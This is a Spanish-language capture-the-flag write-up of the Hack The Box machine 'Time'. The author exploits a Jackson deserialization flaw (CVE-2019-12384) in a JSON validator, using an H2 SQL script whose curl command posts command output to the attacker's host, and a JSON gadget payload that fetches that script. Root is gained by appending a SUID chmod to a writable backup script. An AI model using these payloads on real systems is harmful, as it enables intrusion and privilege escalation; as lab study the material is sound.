This page looks best with JavaScript enabled

Hack The Box - Time

 •  ✍️ sckull

Time expone una funcionalidad para validar estructuras JSON, descubrimos una vulnerabilidad que permite ejecutar comandos con lo que obtuvimos una shell. Escalamos privilegios tras encontrar un servicio que ejecuta un backup con un script en bash.

Informacion de la Maquina

Nombre Time box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.214
Maker

egotisticalSW


felamos

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.7, 5.2, 6.4, 3.6, 4.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[5, 7, 5, 5, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.91 scan initiated Fri Mar  5 18:37:08 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.214
Warning: 10.10.10.214 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.214 (10.10.10.214)
Host is up (0.15s latency).
Not shown: 35261 closed ports, 30272 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Mar  5 18:38:23 2021 -- 1 IP address (1 host up) scanned in 74.32 seconds

# Nmap 7.91 scan initiated Fri Mar  5 18:39:16 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.214
Nmap scan report for 10.10.10.214 (10.10.10.214)
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  5 18:39:27 2021 -- 1 IP address (1 host up) scanned in 11.16 seconds

HTTP

Encontramos una pagina web en el puerto 80 con lo que parece ser un validador para json.

RUSTBUSTER

Utilizamos rustbuster para busqueda de directorios y archivos, pero solo encontramos los directorios y archivos que pertenecen a la pagina principal.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
GET     200 OK                          http://10.10.10.214/
GET     403 Forbidden                   http://10.10.10.214/.html
GET     403 Forbidden                   http://10.10.10.214/.php
GET     200 OK                          http://10.10.10.214/index.php
GET     301 Moved Permanently           http://10.10.10.214/images
                                                => http://10.10.10.214/images/
GET     301 Moved Permanently           http://10.10.10.214/css
                                                => http://10.10.10.214/css/
GET     301 Moved Permanently           http://10.10.10.214/js
                                                => http://10.10.10.214/js/
GET     301 Moved Permanently           http://10.10.10.214/javascript
                                                => http://10.10.10.214/javascript/
GET     301 Moved Permanently           http://10.10.10.214/vendor
                                                => http://10.10.10.214/vendor/
GET     301 Moved Permanently           http://10.10.10.214/fonts
                                                => http://10.10.10.214/fonts/
GET     200 OK                          http://10.10.10.214/
GET     403 Forbidden                   http://10.10.10.214/.html
GET     403 Forbidden                   http://10.10.10.214/.php

JACKSON RCE

Ingresamos un valor en el validador ({"a":"b"}) para generar un error y nos mostró que utiliza el paquete fasterxml el cual tiene librerias y extensiones utiles, en el caso del error mostrado por el validador vemos que la libreria es Jackson.

1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unexpected close marker '}': expected ']' (for root starting at [Source: (String)"}"; line: 1, column: 0])

Investigamos vulnerabilidades y exploits para Jackson, y encontramos varios CVEs, por lo que intentamos con diferentes hasta que encontramos el correcto: CVE-2019-12384 Jackson RCE And SSRF. Utilizamos el archivo inject.sql para ejecutar un comando y enviar el resultado a nuestra maquina. Se inicio un mini servidor con python en el puerto 8000 para que el PoC o estructura json descargue el archivo que contiene nuestro comando y lo ejecute.

1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('curl -d `id` -X POST http://10.10.10.148:1234/')

En nuestra maquina configuramos el puerto 1234 para obtener el resultado. En la estructura json cambiamos localhost por nuestra direccion IP, e ingresamos esta estructura al validador.

1
2
3
4
5
6
[
    "ch.qos.logback.core.db.DriverManagerConnectionSource",
    {
        "url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/10.10.10.148:8000\/inject.sql'"
    }
]

PERICLES - USER

Logrando obtener el resultado de la ejecucion del comando.

Ejecutamos una shell inversa y logramos obtener nuestra shell y flag user.txt.

PRIVILEGE ESCALATION

Ejecutamos pspy y encontramos que hay un servicio que es reiniciado por el usuario root (web_backup.service) con algun cron, y vemos un script que podria estar relacionado con este, /usr/bin/timer_backup.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
2021/03/06 01:15:39 CMD: UID=0    PID=278240 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:39 CMD: UID=0    PID=278239 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:39 CMD: UID=0    PID=278238 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278255 | /usr/bin/systemctl restart web_backup.service 
2021/03/06 01:15:49 CMD: UID=0    PID=278267 | /sbin/init auto automatic-ubiquity noprompt 
2021/03/06 01:15:49 CMD: UID=0    PID=278266 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278265 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278264 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278263 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278262 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278261 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278260 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278259 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278258 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278257 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278256 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278268 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278269 | /bin/bash /usr/bin/timer_backup.sh 
2021/03/06 01:15:49 CMD: UID=0    PID=278277 | /lib/systemd/systemd-udevd 
2021/03/06 01:15:49 CMD: UID=0    PID=278276 | /lib/systemd/systemd-udevd

Vemos que el servicio tiene configurado el script timer_backup.sh para ser ejecutado cuando el servicio es iniciado.

1
2
3
4
5
6
#/etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

El usuario pericles tiene permisos y es el dueño del script por lo que podemos ejecutar comandos como usuario root.

1
2
3
-bash-5.0$ ls -lah /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 623 Apr  3 14:32 /usr/bin/timer_backup.sh
-bash-5.0$

En el script agregamos el comando para darle permisos SUID a bash.

1
echo "chmod u+s /bin/bash" >> /usr/bin/timer_backup.sh

Esperamos a que se vuelva ejecutar el script, y ejecutamos bash -p lo que nos devuelve una shell como root y logramos obtener la flag root.txt.

SERVICE

Enumeramos los cron para usuario root pero no aparece ninguno relacionado al servicio web_backup.service.

1
2
3
root@time:~# crontab -l
no crontab for root
root@time:~#

Enumeramos los servicios activos y encontramos un temporizador, el cual contiene la configuracion para controlar el servicio timer_backup.service el cual se activa cada 10 segundos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
root@time:~# systemctl|grep active

[... REDACTED ...]

  timer_backup.timer                                                                     loaded active waiting   Backup of the website                                                        
186 loaded units listed. Pass --all to see loaded but inactive units, too.
root@time:~# cat /etc/systemd/system/timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target

Finalmente vemos el servicio timer_backup.service el cual reinicia el servicio web_backup.service con el cual logramos obtener root.

1
2
3
4
5
6
7
8
#/etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe